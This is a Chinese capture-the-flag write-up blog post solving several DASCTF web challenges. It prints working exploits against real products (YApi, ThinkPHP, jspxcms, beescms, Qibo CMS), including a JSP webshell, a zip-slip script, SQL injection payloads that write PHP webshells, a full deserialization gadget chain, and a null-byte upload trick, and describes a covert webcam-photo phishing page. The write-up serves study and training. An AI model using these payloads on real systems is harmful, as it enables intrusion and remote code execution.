2021 DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th

2021 DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th

ezrce

image-20210803204805682

果真就ezrce,直接网上搜到了RCE:yapi 远程命令执行漏洞分析,直接跟着操作走就行,这里复现一遍:

  • 首先攻击者先注册一个新用户,然后登陆之后选择添加项目
image-20210803205034942
  • 项目名称和路径都能随便写
image-20210803205205085
  • 在设置 -> 全局 mock 脚本中添加恶意代码,开启并保存

POC如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /").toString()
image-20210803210045879
  • 随后添加接口,访问提供的 mock 地址即可。
image-20210803210406076
image-20210803210518808

cat flag

分析题目

源码:

<?php

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (!preg_match('/flag/i',$cmd))
    {
        $cmd = escapeshellarg($cmd);
        system('cat ' . $cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

这里通过GET方法传递cmd参数,通过正则匹配禁止了flag字符,还要通过escapeshellarg()函数进行再次过滤,这里稍微解释下这个函数的作用,escapeshellarg()会在输入的内容两边加上单引号',使其变成字符串,在不进行其他奇怪的操作的情况下防止了命令注入。最后通过system()函数在参数前拼接cat命令进行对内容的查看。

nginx访问日志

根据题目提示,管理员访问过flag,我们可以查看web服务的访问日志,这里是nginx服务器,其访问日志的默认存储路径为:/var/log/nginx/access.log

image-20210803212254899

可以发现有个本地IP访问过/this_is_final_flag_e2a457126032b42d.php这个文件,但是这个文件名带有flag这个字符,无法直接访问,需要绕过。

非ASCII字符绕过escapeshellarg()

如果系统未设置LANG环境变量,则字符在经过escapeshellarg()函数会自动去除非ASCII的字符,example:

image-20210803213813708

ASCII码字符的范围是0~127,那么我们只要构造大于127编码的字符即可,这里需要将十进制转变为十六进制

payload:

?cmd=/var/www/html/this_is_final_fla%81g_e2a457126032b42d.php
image-20210803214042346

easythinkphp

进入题目之后啥也没给,就一个TP的框架首页,猜测又是框架的版本漏洞。

image-20210803214209726

直接网上搜出上个月爆的ThinkPHP3.2.x RCE漏洞通报,直接用即可:

  • 首先构造代码写进日志文件中,这里需要BP抓吧将URL编码后的字符改回去
image-20210803215333796
  • 然后再访问日志文件路径(这里是默认配置的log文件路径,ThinkPHP的日志路径和日期相关):

\Application\Runtime\Logs\Home\YY_MM_DD.log

?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_03.log
image-20210803215714040

jspxcms

进去之后也是没有提示,感觉又是个框架的版本漏洞,网上搜之。

image-20210803221441326

然后网上比较多的是安全客的这篇记一次由追踪溯源发现的“不安全解压getshell”,但是对于我这种没学过JSP的小小白来说还是比较难直接复现,于是又找到另一篇比较小白式的手把手复现复现jspxcms解压getshell漏洞

  • 首先是找到个能用的JSP一句话,当然用冰蝎生成也行
<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
  • 然后把这个写到shell.jsp文件,打包成war文件
jar -cf test.war shell.jsp
  • 然后使用python脚本生成恶意压缩包:
import zipfile
​
z = zipfile.ZipFile('test.zip', 'w', zipfile.ZIP_DEFLATED)
with open('shell.war','rb') as f:
    war=f.read()
    z.writestr('../../../shell.war',war)     # shell.war为上一步生产的后门war包
    z.close()
  • 登上网站的后台cmscp/login.do,直接用admin管理员登陆,并不需要密码。找到上传文件的模块,上传刚才的zip压缩包
image-20210803223143644
  • 然后访问URL即可,密码是123,cmd命令执行
/shell/shell.jsp?pwd=123&cmd=cat /flag
image-20210803223838482

cybercms

似乎又是一个框架版本漏洞,可以在网站得新闻动态里面找到一些蛛丝马迹,可以判断出是魔改了beescms。

image-20210804195602137

然后可以访问/www.zip拿到源码(当时做题的时候没找到,只能瞎摸),网上能搜索到这三篇关于beescms的框架版本漏洞。

【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析

【代码审计】 beescms 任意文件上传漏洞分析

[代码审计] beescms SQL注入漏洞分析

前两个结合能够进行文件上传攻击,但是这里出题人把洞修上了,所以只能利用最后一个洞,只不过在原来的基础上又添加了过滤。

定位到漏洞代码:/admin/login.php

//判断登录
elseif($action=='ck_login'){
    global $submit,$user,$password,$_sys,$code;
    $submit=$_POST['submit'];
    $user=fl_html(f1_vvv(fl_value($_POST['user'])));
    $password=fl_html(f1_vvv(fl_value($_POST['password'])));
    $code=$_POST['code'];
    if(!isset($submit)){
        msg('请从登陆页面进入');
    }
    if(empty($user)||empty($password)){
        msg("密码或用户名不能为空");
    }
    if(!empty($_sys['safe_open'])){
        foreach($_sys['safe_open'] as $k=>$v){
        if($v=='3'){
            //if($code!=$s_code){msg("验证码不正确!");}
        }
        }
        }
    check_login($user,$password);

}

这里我们可以看到,传入的userpassword会经过fl_value()f1_vvv()fl_html()这三个函数依次处理之后再传到check_login()函数里面进行数据库的查询登陆操作。

跟进到上述3个函数的地方:/includes/fun.php

function fl_value($str){
    if(empty($str)){return;}
    return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
    return htmlspecialchars($str);
}
function f1_vvv($str){
    if(empty($str)){return;}
    if(preg_match("/\ /i", $str)){
        exit('Go away,bad hacker!!');
    }
    preg_replace('/0x/i','',$str);
    return $str;
}

可以看到fl_value()函数是使用正则表达式将一些常见的SQL注入敏感字符都替换为空,仅此而已,绕过方法就很简单了,双写即可,看是仔细观察此正则,发现有些是左右包含了一对空格的,那么绕过方式也是差不多,比如:

select => seselectlect
and => a空格and空格nd

f1_vvv()函数限制不能使用空格,其中还有一个将0x替换为空但是返回值不赋值给任何变量的迷惑行为。

htmlspecialchars()对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上。可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。

最后跟踪到check_login()函数,看是如何对数据库进行操作的:/includes/fun.php

function check_login($user,$password){
    $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");   
    $rel=empty($rel)?'':$rel[0];
    if(empty($rel)){
        msg('不存在该管理用户','login.php');
    }
    $password=md5($password);
    if($password!=$rel['admin_password']){
        msg("输入的密码不正确");
    }
    if($rel['is_disable']){
        msg('该账号已经被锁定,无法登陆');
    }

这里构造了一个SQL查询语句:"select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1"传到了fetch_asc()函数中处理,其中这里的$user是我们可控的。

跟进fetch_asc()函数:/includes/mysql.class.php

function fetch_asc($sql){
        $result=$this->query($sql);
        $arr=array();
        while($rows=mysql_fetch_assoc($result)){
            $arr[]=$rows;
        }
        mysql_free_result($result);
        return $arr;
    }

这个函数直接将语句放到数据库中查询,再跟进到query()函数中:/includes/mysql.class.php

function query($sql){
    if(!$res=@mysql_query($sql,$this->link)){
        err('bad!hacker!'."<br>sql:{$sql}","javascript:history.go(-1);");
    }
    return $res;
}

可以看到当查询失败的时候会返回查询的语句(这里出题人改掉了本来是输出报错信息的,因此这里用报错注入是行不通的),但是我们可以直接写马到服务器中。

payload:请求/admin/login.php,POST提交数据

# char()函数
user=admin'/**/uni union on/**/selselectect/**/null,null,null,null,CHAR(60,63,112,104,11
2,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)/**/in in to/**/out
outfilefile/**/'/var/www/html/upload/shell.php'#&password=aaaa&code=&submit=true&sub
mit.x=60&submit.y=31

# 或者hex
user=admin'%09uni union on%09selselectect%091,2,3,4,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e%09into%09outoutfilefile%09'/var/www/html/shell.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23
image-20210804204415740

ez_website

又是一个框架,网上只有这一篇文章:齐博建站系统x1.0代码审计

image-20210804205441620

这里直接用文章中的反序列化链打就行了:

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}

namespace think\db {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../public/uploads/images/a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    echo urlencode(serialize($window));

}

原来的路径是没有权限的,这里需要写到/public/uploads/images/下,生成的序列化字符:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7Ds%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A144%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F..%2Fpublic%2Fuploads%2Fimages%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7Ds%3A6%3A%22parent%22%3Br%3A11%3B%7D%7D%7D

然后请求:

/index.php/index/labelmodels/get_label?tag_array[cfg]=序列化字符
image-20210804211111677

然后蚁剑连接:

/public/uploads/images/a.php12ac95f1498ce51d2d96a249c09c1998.php

到终端里面直接cat /flag显示没有权限,但是有个readflag的可执行文件,运行即可。

image-20210804211430665

jj’s camera

题目提示说只是改了前端页面,直接把前端JS代码贴到谷歌搜,得到这一篇文章:在吗宝贝?你点开这个网址看看[打开网站偷拍照片]

image-20210804211344554

这是个偷拍的钓鱼网站,先生成链接,当别人点击生成的链接的时候就会请求使用摄像头权限,会偷偷拍一张照上传到服务器中,我们可以截包看看数据:

image-20210804215359903

图片数据是以base64的形式传输的,其中后端的代码在这:

qbl.php

<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if(empty($id) || empty($url) || empty($base64_img)){ 
    exit;
}
if(!file_exists($up_dir)){
  mkdir($up_dir,0777);
}
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
  $type = $result[2];
  if(in_array($type,array('bmp','png'))){
    $new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
    file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
    header("Location: ".$url);
  }
}
?>

首先将传入的idurlimg参数用trim函数去除掉两端的空字符,然后将我们用POST方法传入的img参数中的base64字符串提取出来解码后用file_put_contents()函数写入到文件中。同时还限制文件后缀为bmp或者png,在base64这里不能绕过后缀检测上传php文件。

这里的利用点是文件路径名的命名,这里文件路径的命名格式是$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;,其中这里的$id是我们可控的,查看PHP的版本号为5.2.17,存在经典的%00截断漏洞,我们可以将id命名为a.php%00a,经过截断之后就只剩下a.php的部分了,%00后面加a是因为要经过trim()函数会去除两端的空字符。

我们可以把PHP代码base64加密之后写在图片内容里面,就能上传到服务器中,再配合%00截断漏洞即可解析为PHP文件。

payload:

/qbl.php?id=a.php%00a&url=http://baidu.com

POST:data%3Aimage%2Fpng%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B

注意POST的数据要URL编码,上传后的文件在/img目录下

image-20210804220435695
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇